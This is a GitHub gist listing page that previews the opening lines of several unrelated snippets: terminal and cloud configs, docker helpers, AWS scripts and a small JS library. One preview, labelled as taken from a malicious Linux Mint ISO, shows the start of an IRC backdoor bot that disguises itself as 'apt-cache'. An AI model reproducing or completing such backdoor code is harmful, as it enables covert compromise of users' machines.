Skip to content

Instantly share code, notes, and snippets.

🍕 breaking infrastructure

Christopher "Chief" Najewicz chiefy

🍕 breaking infrastructure
Block or report user

Report or block chiefy

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
atsuya / kitty.conf
Created Dec 30, 2017
Kitty - Solarized Dark
View kitty.conf
# vim:fileencoding=utf-8:ft=conf
# Font family. You can also specify different fonts for the
# bold/italic/bold-italic variants. By default they are derived automatically,
# by the OSes font system. Setting them manually is useful for font families
# that have many weight variants like Book, Medium, Thick, etc. For example:
# font_family Operator Mono Book
# bold_font Operator Mono Medium
# italic_font Operator Mono Book Italic
# bold_italic_font Operator Mono Medium Italic
DrHayt / cloud-config.yml
Last active Feb 13, 2019
CoreOS Container Linux etcd3 cluster cloud-config with SSL on peer, server, and client configs.
View cloud-config.yml
- ssh-rsa PutYourKeysHere
endpoint: ""
etcd_cafile: /etc/ssl/certs/ca.pem
etcd_certfile: /etc/ssl/client/client.pem
etcd_keyfile: /etc/ssl/client/client.key
kurobeats /
Created Feb 21, 2016 from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
GottZ /
Last active Aug 5, 2019
# Docker PS prettifier
# revision 6
dps() {
docker ps $@ --format "table{{ .Image }}\\t{{ .Names }}\\t{{ .Status }}\\t{{ .Ports }}" | awk '
NR % 2 == 0 {
printf "\033[0m";
NR % 2 == 1 {
View proxy.js
var AWS = require('aws-sdk');
var http = require('http');
var httpProxy = require('http-proxy');
var express = require('express');
var bodyParser = require('body-parser');
var stream = require('stream');
if (process.argv.length != 3) {
console.error('usage: aws-es-proxy <my-cluster-endpoint>');
frodopwns /
Created Sep 22, 2015
pretty print docker ps commands
import re
import json
import sys
import os
from subprocess import Popen, PIPE
if __name__ == '__main__':
base_path = os.path.abspath(os.path.dirname(__file__))
args = sys.argv
iammerrick /
Created Aug 14, 2015
Help me understand contexts!


Something about calling createElement within the function not ahead of time makes the context of Provider work. Why?

voxxit /
Last active Sep 2, 2019
Consul + Vault + MySQL = <3
git clone vault
cd vault
docker-compose up -d
export VAULT_ADDR=

Initializing a vault:

vault init
View bling.js
/* bling.js */
window.$ = document.querySelectorAll.bind(document);
Node.prototype.on = window.on = function (name, fn) {
this.addEventListener(name, fn);
NodeList.prototype.__proto__ = Array.prototype;
grvhi / gist:fbda7c0afed03ae1ef8c
Created Feb 23, 2015
AWS Lambda Function to Trigger ElasticTranscoder Job on S3 Upload
View gist:fbda7c0afed03ae1ef8c
console.log('Checking newly uploaded file');
var AWS = require('aws-sdk');
var s3 = new AWS.S3({apiVersion: '2006-03-01'});
var eltr = new AWS.ElasticTranscoder({
apiVersion: '2012-09-25',
region: 'us-east-1'
// ID of pipeline
var pipelineId = 'myID';
// ID of ET's web output preset
You can’t perform that action at this time.